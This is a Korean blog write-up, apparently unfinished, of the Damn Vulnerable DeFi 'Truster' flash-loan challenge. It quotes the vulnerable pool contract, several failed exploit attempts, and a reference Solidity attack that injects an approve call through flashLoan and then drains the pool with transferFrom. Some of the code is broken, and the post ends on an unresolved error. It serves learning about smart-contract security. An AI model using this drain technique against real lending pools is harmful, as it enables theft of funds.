(수정중)
More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free.
Currently the pool has 1 million DVT tokens in balance. And you have nothing.
But don't worry, you might be able to take them all from the pool. In a single transaction.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
/**
* @title TrusterLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract TrusterLenderPool is ReentrancyGuard {
using Address for address;
IERC20 public immutable damnValuableToken;
constructor (address tokenAddress) {
damnValuableToken = IERC20(tokenAddress);
}
function flashLoan(
uint256 borrowAmount,
address borrower,
address target,
bytes calldata data
)
external
nonReentrant
{
uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
damnValuableToken.transfer(borrower, borrowAmount);
target.functionCall(data);
uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}
}
flashLoan
에서 핵심은 아래 부분이다. 토큰을 전송하고 다시 돌려받는 부분이 없다. 추가적으로 functionCall
에 의해서 target
은 컨트랙트가 되어야 한다.
damnValuableToken.transfer(borrower, borrowAmount);
target.functionCall(data);
현재 생각나는 방법은 크게 두 가지다. 첫 번째는 flashLoan()
의 인자로 넣어주는 data field를 통해서 pool의 모든 자금을 attaker에게 송금하도록 하는 것. 두 번째는 data field를 통해서 flashLoan
을 계속 호출하게 하는 것. 하지만 두 번째 방법은 nonReentrant
때문에 안 될 수도 있다.
const data = await ethers.abi.encodeWithSignature(
"transfer(address to,uint256 amount)",
attacker.address,
TOKENS_IN_POOL
);
await this.pool.flashLoan(0, attacker.address, pool.address, data);
encodeWithSignature
가 정의되지 않았다고 뜬다. 아마도 해당 함수는 solidity에서 사용 가능하지만 ethers에서는 사용하지 못 하는 것 같다.
stackexchange 글을 참고해서 아래 형태로 바꿨다.
let ABI = ["transfer(address to,uint256 amount)"];
let iface = new ethers.utils.Interface(ABI);
let data = await iface.encodeFunctionData(transfer, [
attacker.address,
parseEther("1000000"),
]);
await this.pool.flashLoan(0, attacker.address, pool.address, data);
아래 에러가 뜨면서 실행되지 않았다. 아무래도 tranfer
는 주로 솔리디티 함수 안에서 _to.transfer(address, amount)
형태로 사용해서 abi 코드를 사용하는 것은 안 맞는 것 같다.
Error: unsupported fragment (argument="value", value="transfer (address to,uint256 amount)", code=INVALID_ARGUMENT, version=abi/5.4.1)
컨트랙트를 만들자. 간단하게 이더를 전송하는 컨트랙트를 짰다.
contract Attack{
function attack(address payable _to) external{
(bool sent, ) = _to.call{value: 1000000 ether}("");
require(sent, "Failed to send Ether");
}
}
이후 디플로이하고, 해당 함수를 encoding 해서 flashLoan
의 data에 넘겼다.
it("Exploit", async function () {
const AttackContract = await ethers.getContractFactory("Attack", deployer);
this.attack = await AttackContract.deploy();
let ABI = ["function attack(address payable _to)"];
let iface = new ethers.utils.Interface(ABI);
let data = iface.encodeFunctionData("attack", [attacker.address]);
await this.pool.flashLoan(0, attacker.address, this.attack.address, data);
});
하지만 트랜잭션이 fail. 곰곰이 생각해보니 Attack 컨트랙트가 토큰을 전송할 수 있도록 approve 해주지 않았다.
it("Exploit", async function () {
const AttackContract = await ethers.getContractFactory("Attack", deployer);
this.attack = await AttackContract.deploy();
let value = ethers.utils.formatEther(1000000);
await this.token.approve(this.attack.address, parseInt(value));
let ABI = ["function attack(address payable _to, uint256 amount)"];
let iface = new ethers.utils.Interface(ABI);
let data = iface.encodeFunctionData("attack", [
attacker.address,
ethers.utils.parseEther("1000000"),
]);
await this.pool.flashLoan(0, attacker.address, this.attack.address, data);
});
이런 식으로 토큰을 approve하고 다시 시도해봤지만 같은 에러가 나왔다..
결국 답을 봤다. 먼저 컨트랙트 부분부터 살펴보면 pool과 토큰 주소를 가져와서 컨트랙트 내에서 approve data를 만들고 flashLoan
함수를 실행한다.
contract Attack{
function attack(address _pool, address _token) public{
TrusterLenderPool pool = TrusterLenderPool(_pool);
IERC20 token = IERC20(_token);
bytes memory data = abi.encodeWithSignature(
"approve(address, uint256)", address(this), uint(-1)
);
pool.flashLoan(0, msg.sender, _token, data);
token.transferFrom(_pool, msg.sender, token.balanceOf(_pool););
}
}
나는 컨트랙트 외부에서 approve
하고 flashLoan
을 호출하는 방식으로 접근했다. 모범 답안에서는 컨트랙트 내에서 approve
하고 flashLoan
을 호출했다. 내부에서 approve
할 때 가장 큰 특징은 내가 첫 번째로 시도했던 abi.encodeWithSignature
를 통해 byte data를 만들 수 있다는 점이다.
approve
할 때 나는 단순히 pool에 존재하는 토큰의 양을 입력했다. 하지만 모범 답안에서는 uint(-1)
을 이용했다. underflow를 만들어서 uint의 최대 숫자를 만들어낸 것이다. 앞으로 max 값으로 approve를 사용할 때는 uint(-1)
를 이용하자.
-> 솔리디티 0.8 버전 이상부터 type(uint).max
를 사용하라고 한다.
data를 컨트랙트 외부에서 사용할 때 let
으로 선언했었는데 내부에서 사용할 때는 bytes memory
를 붙여서 사용했다. 나중에 사용할 때 기억해놓기.
abi.encodeWithSignature
를 사용할 때 파라미터를 타입으로만 작성한 것. 내가 시도할 때는 무조건 타입과 파라미터 이름을 같이 사용하려고 했었다. 타입만 작성해도 괜찮다는 것을 알았다.
approve
했으니 transferFrom
으로 토큰을 전송하는 것은 당연하다!
msg.sender
는 타입이 필요 없다!
이제 js부분을 보자.
it("Exploit", async function () {
const attackerFactory = await ethers.getContractFactory("TrusterAttacker", attacker);
const attackerContract = await attackerFactory.deploy(this.pool.address,this.token.address);
await attackerContract.attack();
});
단순히 컨트랙트를 가져오고 디플로이 후 attack 함수를 실행하고 있다.
근데 모범 답안으로 실행해도 다음과 같은 에러가 계속 뜬다.. 뭐가 문젤까..